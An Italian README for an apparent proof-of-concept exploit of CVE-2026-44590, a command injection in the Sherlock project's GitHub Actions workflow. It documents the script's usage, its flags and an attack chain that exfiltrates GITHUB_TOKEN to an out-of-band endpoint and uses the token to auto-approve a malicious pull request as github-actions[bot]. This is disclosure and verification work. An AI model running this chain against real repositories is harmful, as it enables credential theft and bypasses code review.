
Proof-of-concept exploit per CVE-2026-44590, un'iniezione di comandi nel workflow GitHub Actions di Sherlock che consente RCE ed esfiltrazione di GITHUB_TOKEN tramite pull_request_target.
Scoperta e segnalata da: Astaruf
Analisi completa: https://nstsec.com/en/posts/sherlock-rce-pull-request-target-cve-2026-44590/
Avviso upstream: Avviso GHSA di sherlock-project/sherlock
Voce NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-44590
Registro CVE: https://www.cve.org/CVERecord?id=CVE-2026-44590
Questo repository contiene la proof-of-concept per CVE-2026-44590, un'iniezione di comandi nel workflow GitHub Actions validate_modified_targets.yml di sherlock-project/sherlock. Qualsiasi utente GitHub può aprire una pull request che innesca l'esecuzione arbitraria di comandi nel contesto CI privilegiato, esfiltrare il GITHUB_TOKEN del workflow e auto-approvare la PR dannosa, tutto senza alcuna interazione umana.
Per l'analisi tecnica completa (analisi della causa principale, walkthrough dello sfruttamento, discussione dell'impatto e un capitolo su cosa un attaccante potrebbe fare in scenari reali) consulta il post del blog:
nstsec.com/en/posts/sherlock-rce-pull-request-target-cve-2026-44590
Questo README si concentra esclusivamente sullo script PoC: cosa fa, come eseguirlo e cosa aspettarsi.
poc.pypoc.py è un singolo script Python autonomo (solo stdlib) che automatizza l'intera catena di attacco end-to-end:
sherlock-project/sherlock se necessariomaster del fork al commit pre-fix così il bug può essere riprodotto anche dopo il fix upstreaminteractsh-client)GITHUB_TOKEN dal callback OAST (in --mode exfil) e lo decodifica in chiaroVULNERABILITY CONFIRMED o FIX VERIFIEDinteractsh-client)C'è esattamente un passaggio manuale richiesto (cliccare il banner "I understand my workflows" di GitHub la prima volta per ogni fork), perché non esiste un'API pubblica per eliminarlo. Lo script rileva questo caso e si mette in pausa con un prompt chiaro.
python3 poc.py --fork-owner <il-tuo-nome-utente-github>
Crea il fork del repo (se necessario), sincronizza con upstream (master patchato), apre una PR dannosa, esegue la catena di attacco e riporta FIX VERIFIED perché il workflow patchato blocca il payload prima che qualsiasi comando shell venga eseguito.
python3 poc.py --fork-owner <il-tuo-nome-utente-github> --vulnerable
Come sopra, ma prima riporta il ramo master del fork al commit pre-fix (271608fb). Verdetto atteso: VULNERABILITY CONFIRMED.
python3 poc.py --fork-owner <il-tuo-nome-utente-github> --vulnerable --mode exfil
Il payload di esfiltrazione invia git config --list all'OAST e dorme per 180 secondi per mantenere vivo il workflow (e quindi il GITHUB_TOKEN). Mentre il workflow dorme, lo script estrae il token dal log OAST, lo decodifica e chiama immediatamente l'API GitHub per approvare la PR. La PR risulta approvata da github-actions[bot].
gh (GitHub CLI), autenticato:
gh auth login
gitinteractsh-client (opzionale ma consigliato). Quando installato, lo script lo avvia automaticamente e verifica il callback nello script:
go install github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest
Se preferisci usare il tuo endpoint OAST (Burp Collaborator, oast.fun tramite web UI, requestbin, ecc.), passalo con --oast-url e il passaggio di verifica automatica verrà saltato.Lo script non richiede che un fork esista già, lo crea automaticamente.
--mode harmless (predefinita)Il payload è una singola POST curl con una stringa di conferma statica. Nessun segreto viene letto, nessuna chiamata API viene effettuata, l'unico effetto collaterale è il callback OAST. Usa questa modalità per confermare che la vulnerabilità esiste senza esporre alcuna credenziale.
--mode exfilIl payload invia git config --list (che contiene il GITHUB_TOKEN codificato in base64 sotto http.https://github.com/.extraheader) all'OAST, poi dorme per 180 secondi. Lo script quindi:
x-access-token:ghs_XXXXXXXX....x-access-token: e usa il token grezzo per chiamare POST /repos/<fork>/pulls/<n>/reviews con il payload di approvazione standard ({"event":"APPROVE","body":"All checks passed. LGTM!"}).github-actions[bot], indistinguibile dall'automazione CI legittima.Una volta registrata l'approvazione, lo script salta il resto del sonno di 180 secondi del workflow, poiché la catena di attacco è completa e attendere il timeout del runner non aggiunge nulla.
| Flag | Descrizione |
|---|---|
--fork-owner <utente> | Obbligatorio. Nome utente GitHub che possiede (o possiederà) il fork |
--fork-name <nome> | Nome del repository del fork (predefinito: sherlock) |
--oast-url <url> | Endpoint OAST che riceve il callback. Se omesso, lo script avvia automaticamente interactsh-client ed esegue il verdetto nello script |
--mode harmless|exfil | Tipo di payload (predefinito: harmless) |
--vulnerable | Forza il ripristino del ramo master del fork al commit pre-fix (271608fb) prima dell'esecuzione. Implica --no-sync |
--no-sync | Salta la sincronizzazione del fork con upstream (utile quando si testa un commit specifico) |
--base-branch <nome> | Ramo di destinazione della PR sul fork (predefinito: master) |
--keep-branch | Non eliminare il ramo PoC dopo il completamento |
--no-poll | Salta il polling dell'esecuzione del workflow ed esce dopo la creazione della PR |
Per progettazione, la PoC apre la PR da un ramo sul fork al master dello stesso fork. Non punta direttamente a sherlock-project/sherlock. Ci sono due ragioni per questo.